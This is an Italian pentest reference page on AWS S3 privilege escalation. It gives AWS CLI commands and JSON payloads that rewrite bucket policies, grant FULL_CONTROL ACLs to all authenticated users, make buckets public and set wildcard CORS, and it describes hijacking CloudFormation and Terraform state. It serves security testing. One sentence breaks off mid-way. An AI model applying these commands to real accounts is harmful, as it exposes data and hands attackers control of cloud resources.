AWS - S3 Privesc

Reading time: 7 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaccante con quei permessi su bucket di interesse potrebbe essere in grado di dirottare risorse e ottenere l'elevazione dei privilegi.

Ad esempio, un attaccante con tali permessi su un bucket cloudformation chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

E l'hijack è possibile perché c'è una piccola finestra temporale dal momento in cui il template viene caricato nel bucket fino al momento in cui il template viene deployato. Un attacker potrebbe semplicemente creare una lambda function nel suo account che si triggera quando viene inviata una bucket notification, e che hijacka il content di quel bucket.

Il Pacu module cfn__resouce_injection può essere usato per automatizzare questo attacco.
Per maggiori informazioni consulta la ricerca originale: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Queste sono le permissions per get and upload objects to S3. Diversi servizi dentro AWS (e fuori) usano lo storage S3 per conservare file di configurazione.
Un attacker con read access a questi file potrebbe trovare informazioni sensibili al loro interno.
Un attacker con write access potrebbe modificare i dati per abusare di qualche servizio e provare a escalate privileges.
Ecco alcuni esempi:

• Se un EC2 instance salva gli user data in a S3 bucket, un attacker potrebbe modificarli per execute arbitrary code inside the EC2 instance.

s3:PutObject, s3:GetObject (optional) over terraform state file

È molto comune che i terraform state files siano salvati nello blob storage dei cloud provider, es. AWS S3. Il suffisso del file per uno state file è .tfstate, e i nomi dei bucket spesso rivelano che contengono terraform state files. Di solito, ogni AWS account ha un bucket di questo tipo per conservare gli state files che mostrano lo stato dell'account. Inoltre, nella realtà quasi sempre tutti gli sviluppatori hanno s3:* e talvolta anche gli utenti business hanno s3:Put*.

Quindi, se hai le permissions elencate su questi file, esiste un vettore d'attacco che ti permette di ottenere RCE nella pipeline con i privilegi di terraform — nella maggior parte dei casi AdministratorAccess, rendendoti l'amministratore dell'account cloud. Inoltre, puoi usare quel vettore per effettuare un denial of service facendo in modo che terraform cancelli risorse legittime.

Segui la descrizione nella sezione Abusing Terraform State Files della pagina Terraform Security per codice exploit direttamente utilizzabile:

Abusing Terraform State Files

s3:PutBucketPolicy

Un attacker, che deve essere dallo stesso account (altrimenti verrà sollevato l'errore The specified method is not allowed), con questa permission sarà in grado di concedersi più permessi sul/i bucket permettendogli di leggere, scrivere, modificare, cancellare ed esporre i bucket.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attacker potrebbe abusare di queste autorizzazioni per concedergli maggiore accesso su specifici buckets.
Nota che l'attacker non deve necessariamente far parte dello stesso account. Inoltre il write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attacker potrebbe abusare di questi permessi per concedersi maggiore accesso a specifici objects all'interno dei buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attacker con questi privilegi dovrebbe essere in grado di impostare un Acl su una specifica versione dell'oggetto

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Un attaccante con il permesso s3:PutBucketCORS può modificare la configurazione CORS (Cross-Origin Resource Sharing) di un bucket, che controlla quali domini web possono accedere ai suoi endpoint. Se imposta una policy permissiva, qualsiasi sito web potrebbe effettuare richieste dirette al bucket e leggere le risposte da un browser.

Questo significa che, potenzialmente, se un utente autenticato di un'app web ospitata nel bucket visita il sito dell'attaccante, l'attaccante potrebbe sfruttare la policy CORS permissiva e, a seconda dell'applicazione, accedere ai dati del profilo dell'utente o addirittura dirottare il suo account.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'